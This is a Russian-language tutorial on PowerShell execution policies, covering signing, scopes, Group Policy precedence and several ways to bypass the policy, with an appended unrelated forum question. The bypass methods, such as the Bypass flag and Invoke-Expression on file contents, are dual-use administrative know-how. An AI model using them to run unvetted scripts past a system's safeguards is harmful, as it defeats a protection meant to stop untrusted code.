Если файл имеет ZoneId 3 или 4, то PowerShell считает его удаленным. А если на компьютере включена конфигурация усиленной безопасности Internet Explorer, то файлы, взятые из локальной сети, тоже могут считаться удаленными.

Как выполнить удаленный скрипт? Во первых его  можно разблокировать (превратить в локальный), для этого есть специальный командлет Unblock-File. Хотя если просто открыть скрипт на локальном компьютере и внести в него изменения, то он тоже станет локальным.

Ну и во вторых удаленный скрипт можно подписать. Подписывание скриптов — это тема отдельной статьи, поэтому вдаваться в подробности не будем. Просто подпишем его уже имеющимся сертификатом, проверим подпись и выполним. На сей раз успешно.

выполнение подписанного скрипта

Переходим к политике AllSigned. Это наиболее жесткая политика, требующая подписывания всех без исключения скриптов, как удаленных так и локальных. И даже с подписанными скриптами она работает не так, как RemoteSigned. Для примера сменим политику на AllSigned и снова запустим подписанный скрипт. В этот раз для его выполнения потребуется подтверждение, т.к. PowerShell посчитал подпись недоверенной.

запрос на выполнение подписанного скрипта

Области применения

Политика выполнения имеет свою область действия (scope). Всего есть 5 областей:

• LocalMachine — политика действует на всех пользователей данного компьютера. Значение хранится в реестре, в разделе HKEY_LOCAL_MACHINE;
• CurrentUser — политика действует только на текущего пользователя. Хранится в разделе реестра HKEY_CURRENT_USER;
• Process — действие политики распространяется только на текущий сеанс PowerShell. Значение хранится в переменной окружения $PSExecutionPolicyPreference и при закрытии сеанса удаляется;
• Userpolicy — политика действует на всех пользователей данного компьютера. Распространяется с помощью групповых политик. Значение хранится в разделе пользователя, соответственно политика применяется при входе пользователя в систему;
• MachinePolicy — действует на всех пользователей данного компьютера. Распространяется с помощью групповых политик. Значение хранится в разделе компьютера, политика применяется при загрузке системы;

Вывести значение политики для всех областей можно командой:

Get-ExecutionPolicy -List

Области действия политики выполнения

Получается, что при установке политики без указания области изменяется значение LocalMachine. Если же требуется указать конкретную область действия, то сделать это можно с помощью параметра Scope командлета Set-ExecutionPolicy. Для примера установим для области СurrentUser политику Bypass:

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

Затем проверим значение политики в текущем сеансе и убедимся в том, что оно изменилось на Bypass.

изменяем политику выполнения для текущего пользователя

Теперь установим политику Unrestricted для области Process:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted -Force

Еще раз проверим текущую политику, теперь она имеет значение Unrestricted. Т.е. более ″конкретная″ политика всегда имеет больший приоритет.

изменяем политику выполнения для процесса

Для областей UserPolicy и MachinePolicy значение политики задаются через GPO. За настройку отвечает параметр Turn on Script Execution (Включить выполнение сценариев), находящийся в разделе Administrative TemplatesWindows ComponentsWindows PowerShell. Для UserPolicy он находится в конфигурации пользователя (User Configuration), для MachinePolicy — в конфигурации компьютера (Computer Configuration). Политика, применяемая к компьютеру, имеет приоритет перед политикой пользователя.

групповые политики PowerShell

Для установки политики надо включить параметр и выбрать одно из трех значений:

• Allow only signed scripts (Разрешать только подписанные сценарии) — политика AllSigned;
• Allow local scripts and remote signed scripts (разрешать локальные и удаленные подписанные сценарии) — политика RemoteSigned;
• Allow all scripts (Разрешать все сценарии) — политика Unrestricted.

Политика Bypass считается небезопасной и ее нельзя установить через групповые политики.

Установка политики выполнения через GPO

Для примера установим для MachinePolicy политику RemoteSigned и проверим результат. Как видите, политика, назначенная через GPO, имеет больший приоритет и переопределяет все остальные политики.

список политик выполнения по областям

Более того, при использовании GPO становится невозможным переназначить политики вручную. При попытке изменения выдается предупреждение, а текущая политика остается без изменений.

попытка изменения политики выполнения

А что будет, если ни для одной области политика не определена, т.е. везде стоит значение Undefined?  В этом случае все просто, выполнение всех скриптов запрещается, а текущая политика принимает значение Restricted.

политика Undefined

Обход политики

Можно ли как то  запустить скрип в обход политики выполнения, не изменяя ее значение? В принципе можно, есть несколько способов.

К примеру для того, чтобы выполнить скрипт, достаточно открыть его в проводнике, кликнуть правой клавишей мыши и выбрать пункт Выполнить с помощью PowewrShell (Run with PowerShell).  Это запускает оболочку PowerShell c политикой Bypass. При этом политика применяется только для выполнения конкретного скрипта, значение политики в реестре не изменяется.

Этот способ называется  ″Run with PowerShell″ и у него есть некоторые ограничения. Скрипты, запущенные таким образом, не могут взаимодействовать с пользователем (выводить сообщения на экран, требовать ввода данных и т.п.). Скрипт просто запускается, выполняется и немедленно закрывается.

выполнение скрипта PowerShell из проводника

Собственно говоря, предыдущий способ использует запуск PowerShell с указанием требуемой политики. Сделать это можно из командной строки, например для запуска скрипта можно попробовать такую команду:

powershell.exe -file .script.ps1 -Executionpolicy Bypass

Теоретически эта команда должна выполнить скрипт, не смотря на текущую политику. Так написано в официальной документации Microsoft. На практике же этот способ работает не всегда, например  на одном из проверенных мной компьютеров я получил ошибку. При этом из проводника скрипт успешно выполнился.

ошибка при использовании политики Bypass

Еще один вариант — это попробовать изменить политику выполнения для области Process. Эта операция не вносит изменений в реестр и не требует прав администратора. Но в том случае, если для назначения политики выполнения используются групповые политики, этот способ не сработает.

Ну и наконец можно просто считать содержимое скрипта и выполнить его в виде команды. Например так:

$script = Get-Content ./script.ps1
Invoke-Expression -Command ″$script″

выполнение скрипта в обход политики

  • Remove From My Forums
  • Question

  • We have a ps1 script that simply checks for log files over a certain size and emails us. It runs every five minutes 24/7. It usually works but about 5% of the time we get an error ( + CategoryInfo         
    : NotSpecified: (:) [], PSSecurityException      + FullyQualifiedErrorId : RuntimeException.  Process Exit Code 1.  The step failed.)

    Since it runs successfully most of the time it couldnt be an actual security error we assume. Has anyone run into this it is driving us crazy trying to figure it out. Any help or suggestions would be most appreciated!

Понравилась статья? Поделить с друзьями:
  • Powerpoint связанный файл недоступен ошибка диаграмма
  • Powerpoint произошла серьезная ошибка во время последнего запуска
  • Powerpoint ошибка сертификата
  • Powerpoint ошибка при запуске приложения 0xc0000142
  • Powerpoint ошибка печати